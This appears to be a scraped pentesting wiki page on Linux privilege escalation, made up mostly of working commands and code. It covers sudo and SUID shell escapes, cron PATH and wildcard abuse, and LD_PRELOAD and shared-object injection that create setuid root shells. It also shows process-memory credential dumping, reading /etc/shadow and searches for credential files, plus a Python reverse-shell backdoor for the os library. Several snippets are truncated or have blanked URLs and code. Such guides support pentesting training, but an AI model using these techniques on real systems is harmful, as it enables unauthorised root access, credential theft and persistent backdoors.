Physical attacks
Mobile Apps Pentesting

Linux Privilege Escalation

Kernel exploits

Check the kernel version and if there is some exploit that can be used to escalate privileges

cat /proc/version
uname -a
searchsploit "Linux Kernel"

You can find a good vulnerable kernel list and some already compiled exploits here: Other sites where you can find some compiled exploits:,

To extract all the vulnerable kernel versions from that web you can do:

curl 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '

Tools that could help searching for kernel exploits are: (execute IN victim,only checks exploits for kernel 2.x)

Always search the kernel version in Google, maybe your kernel version is wrote in some kernel exploit and then you will be sure that this exploit is valid.

Sudo version

Based on the vulnerable sudo versions that appear in:

searchsploit sudo

You can check if the sudo version is vulnerable using this grep.

sudo -V | grep "Sudo ver" | grep "1.6.8p9\|1.6.9p18\|1.8.14\|1.8.20\|1.6.9p21\|1.7.2p4\|1\.8\.[0123]$\|1\.3\.[^1]\|1\.4\.\d*\|1\.5\.\d*\|1\.6\.\d*\|1.5$\|1.6$"

Software exploits

Check for the version of the installed packages and services. Maybe there is some old Nagios version (for example) that could be exploited for gaining privileges…

It is recommended to check manually the version of the more suspicious installed software.

dpkg -l #Debian
rpm -qa #Centos

If you have SSH access to the machine you could also use openVAS to check for outdated and vulnerable software installed inside the machine.


Take a look to what processes are being executed and check if any process has more privileges that it should (maybe a tomcat being executed by root?)

ps aux
ps -ef
top -n 1

Process memory

Some services of a server save credentials in clear text inside the memory. If you have access to the memory of a FTP service (for example) you could get the Heap and search inside of it the credentials.

(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password

/proc/$pid/maps & /proc/$pid/mem

For a given process ID, maps shows how memory is mapped within that processes' virtual address space; it also shows the permissions of each mapped region. The mem psuedo file exposes the processes memory itself. From the maps file we know which memory regions are readable and their offsets. We use this information to seek into the mem file and dump all readable regions to a file.

To dump a process memory you could use:


Check who are you, which privileges do you have, which users are in the systems, which ones can login and which ones have root privileges

id || (whoami && groups) 2>/dev/null #Me?
cat /etc/passwd | cut -d: -f1 #All users
cat /etc/passwd | grep "sh$" #Users with console
awk -F: '($3 == "0") {print}' /etc/passwd #Superusers
w #Currently login users
last | tail #Login history


Some Linux versions were affected by a bug that allow users with UID > INT_MAX to escalate privileges. More info: here, here and here. Exploit it using: systemd-run -t /bin/bash

Known passwords

If you have any password of the environment try to login as other user


Check if you are in some group that could grant you root rights:

Check if you belong to any of these groups

Scheduled jobs

Check if any scheduled job has any type of vulnerability. Maybe you can take advantage of any script that root executes sometimes (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?).

crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"

Example: Cron path

For example, inside /etc/crontab you can find the sentence: PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

If inside this crontab the root user tries to execute some command or script without setting the path. For example: * * * * root

Then, you can get a root shell by using:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/
#Wait 1 min
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid

Example: Cron using a script with a wildcard (Wildcard Injection)

If a script being executed by root has an “*” inside a command, you could exploit this to make unexpected things (like privesc). Example:

rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh" so the script will execute our script

The wildcard cannot be preceded of a path: /some/path/* is not vulnerable (even ./* is not)

If you can write inside a cron script executed by root, you can get a shell very easily:

echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p

If the script executed by root uses somehow a directory in which you have full access, maybe it could be useful to delete that folder and create a symlink folder to another one


Frequent cron jobs

You can monitor the processes to search for processes that are being executed every 1,2 or 5 minutes. Maybe you can take advantage of it and escalate privileges.

For example, to monitor every 0.1s during 1 minute, sort by less executed commands and deleting the commands that have beeing executed all the time, you can do:

for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;

You could also use pspy (this will monitor every started process).

Commands with sudo and suid commands

You could be allowed to execute some command using sudo or they could have the suid bit. Check it using:

sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries

Some unexpected commands allows you to read and/or write files or even execute command. For example:

sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./
sudo tar c a.tar -I ./ a
less>! <shell_comand>

Sudo execution bypassing paths

Jump to read other files or use symlinks. For example in sudeores file: hacker10 ALL= (root) /bin/less /var/log/*

sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file

If a wilcard is used (*), it is even easier:

sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files


Sudo command/SUID binary without command path

If the sudo permission is given to a single command without specifying the path: hacker10 ALL= (root) less you can exploit it by changing the PATH variable

export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less

This technique can also be used if a suid binary executes another command without specifying the path to it (always check with strings the content of a weird SUID binary).

Payload examples to execute.

SUID binary with command path

If the suid binary executes another command specifying the path, then, you can try to export a function named as the command that the suid file is calling.

For example, if a suid binary calls /usr/sbin/service apache2 start you have to try to create the function and export it:

function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service

Then, when you call the suid binary, this function will be executed


LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library ( This is called preloading a library.

To avoid this mechanism being used as an attack vector for suid/sgid executable binaries, the loader ignores LD_PRELOAD if ruid != euid. For such binaries, only libraries in standard paths that are also suid/sgid will be preloaded.

If you find inside the output of sudo -l the sentence: env_keep+=LD_PRELOAD and you can call some command with sudo, you can escalate privileges.

Save as /tmp/pe.c

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {

Then compile it using:

cd /tmp
gcc -fPIC -shared -o pe.c -nostartfiles

Finally, escalate privileges running

sudo <COMMAND> #Use any command you can run with sudo

SUID Binary – so injection

If you find some weird binary with SUID permissions, you could check if all the .so files are loaded correctly. In order to do so you can execute:

strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"

For example, if you find something like: pen(“/home/user/.config/”, O_RDONLY) = -1 ENOENT (No such file or directory) you can exploit it.

Create the file /home/user/.config/libcalc.c with the code:

#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");

Compile it using:

gcc -shared -o /home/user/.config/ -fPIC /home/user/.config/libcalc.c

And execute the binary.


Capabilities are a little obscure but similar in principle to SUID. Linux’s thread/process privilege checking is based on capabilities: flags to the thread that indicate what kind of additional privileges they’re allowed to use. By default, root has all of them.





Override read/write/execute permission checks (full filesystem access)


Only override reading files and opening/listing directories (full filesystem READ access)


Can send any signal to any process (such as sig kill)


Ability to call chroot()

Capabilities are useful when you want to restrict your own processes after performing privileged operations (e.g. after setting up chroot and binding to a socket). However, they can be exploited by passing them malicious commands or arguments which are then run as root.

You can force capabilities upon programs using setcap, and query these using getcap:

getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

The +ep means you’re adding the capability (“-” would remove it) as Effective and Permitted.

To identify programs in a system or folder with capabilities:

getcap -r / 2>/dev/null

The special case of "empty" capabilities

Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that:

  1. is not owned by root

  2. has no SUID/SGID bits set

  3. has empty capabilities set (e.g.: getcap myelf returns myelf =ep)

then that binary will run as root.

Capabilities info was extracted from here

Open shell sessions

Maybe you have access to some root unprotected shell session.

screen sessions

List screen sessions

screen -ls

Attach to a session

screen -dr <session> #The -d is to detacche whoeevr is attached to it
screen -dr #In the example of the image

tmux sessions

List tmux sessions

tmux ls
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess

Attach to a session

tmux attach -t myname #If you write something in this session it will appears in the other opened one
tmux attach -d -t myname #First detach the sessinos from the other console and then access it yourself
tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket

Read sensitive data

Check if you can read some sensitive files and what is contained in some folders. For example:

cat /etc/shadow

Check the contents of /tmp, /var/tmp, /var/backups, /var/mail, /var/spool/mail, /etc/exports

ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/

*_history, .sudo_as_admin_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml files

fils=`find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null`Hidden files
find / -type f -iname ".*" -ls 2>/dev/null

Web files

ls -alhR /var/www/ 2>/dev/null
ls -alhR /srv/www/htdocs/ 2>/dev/null
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/ 2>/dev/null


find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/nulll

Known files containing passwords

Read the code of linPEAS, it searches for several possible files that could contain passwords.

Other interesting tool that you can use to do so is: LaZagne

Regexp or strings inside files (It could be also useful to check log files)

grep -lRi "password" /home /var/www /var/log 2>/dev/null | sort | uniq #Find string password (no cs) in those directories
grep -a -R -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' /var/log/ 2>/dev/null | sort | uniq #IPs inside logs

Environment, there could be interesting data

cat /proc/self/environ

Writable files

You should check if you can write in some sensitive file. For example, can you write to some service configuration file?

find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user

For example, if the machine is running a tomcat server and you can modify the Tomcat service configuration file inside /etc/systemd/, then you can modify the lines:


Your backdoor will be executed the next time that tomcat is started.

Python library hijacking

If you know from where a python script is going to be executed and you can write inside that folder or you can modify python libraries, you can modify the os library and backdoor it (if you can write where python script is going to be executed, copy and paste the library).

To backdoor the library just add at the end of the library the following line (change IP and PORT):

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);

Logrotate exploitation

There is a vulnerability on logrotatethat allows a user with write permissions over a log file or any of its parent directories to make logrotatewrite a file in any location. If logrotate is being executed by root, then the user will be able to write any file in /etc/bash_completion.d/ that will be executed by any user that login. So, if you have write perms over a log file or any of its parent folder, you can privesc (on most linux distributions, logrotate is executed automatically once a day as user root). Also, check if apart of /var/log there are more files being rotated.

More detailed information about the vulnerability can be found in this page

You can exploit this vulnerability with logrotten.

Internal Open Ports

You should check if any undiscovered service is running in some port/interface. Maybe it is running with more privileges that it should or it is vulnerable to some kind of privilege escalation vulnerability.

netstat -punta
ss -t; ss -u


Check if you can sniff traffic. If you can, you could be able to grab some credentials.

timeout 1 tcpdump

Storage information

You can check the storage information using:

df -h

There could be some disks that are not mounted

ls /dev | grep -i "sd"
cat /etc/fstab
lpstat -a# Check if there is any printer

Check for weird executables

Just check the name of the binaries inside /bin, /usr/bin, /sbin, /usr/sbin… (directories inside $PATH)

Other Tricks

Exploiting services

NFS no_root_squash misconfiguration PE

Searching added software without package manager

for i in /sbin/* /; do dpkg --search $i >/dev/null; done #Use ir inside each folder of the path

More linux enumeration

Useful Software

which nc ncat netcat wget curl ping gcc make gdb base64 socat python python2 python3 perl php ruby xterm doas sudo fetch 2>/dev/null #Check for some interesting software

Network information

cat /etc/hostname /etc/hosts /etc/resolv.conf 2>/dev/null #Known hosts and DNS
dnsdomainname 2>/dev/null
cat /etc/networks 2>/dev/null
ifconfig 2>/dev/null || ip a 2>/dev/null #Info about interfaces
iptables -L 2>/dev/null #Some iptables rules? access??
arp -e 2>/dev/null #Known neightbours
route 2>/dev/null #Network routes
netstat -punta 2>/dev/null #Ports
lsof -i #Files used by network services


gpg --list-keys #Do I have any PGP key?


ls -la $HOME #Files in $HOME
find /home -type f 2>/dev/null | column -t | grep -v -i "/"$USER #Files in home by not in my $HOME
find /home /root -name .ssh 2>/dev/null -exec ls -laR {} \; #Check for .ssh directories and their content

More help

Static impacket binaries

Linux/Unix Privesc Tools

Best tool to look for Linux local privilege escalation vectors: LinPEAS

LinEnum: option) Unix Privesc Check: Linux Priv Checker: BeeRoot: Kernelpop: Enumerate kernel vulns ins linux and MAC Mestaploit: multi/recon/local_exploit_suggester Linux Exploit Suggester: EvilAbigail (physical access): Recopilation of more scripts: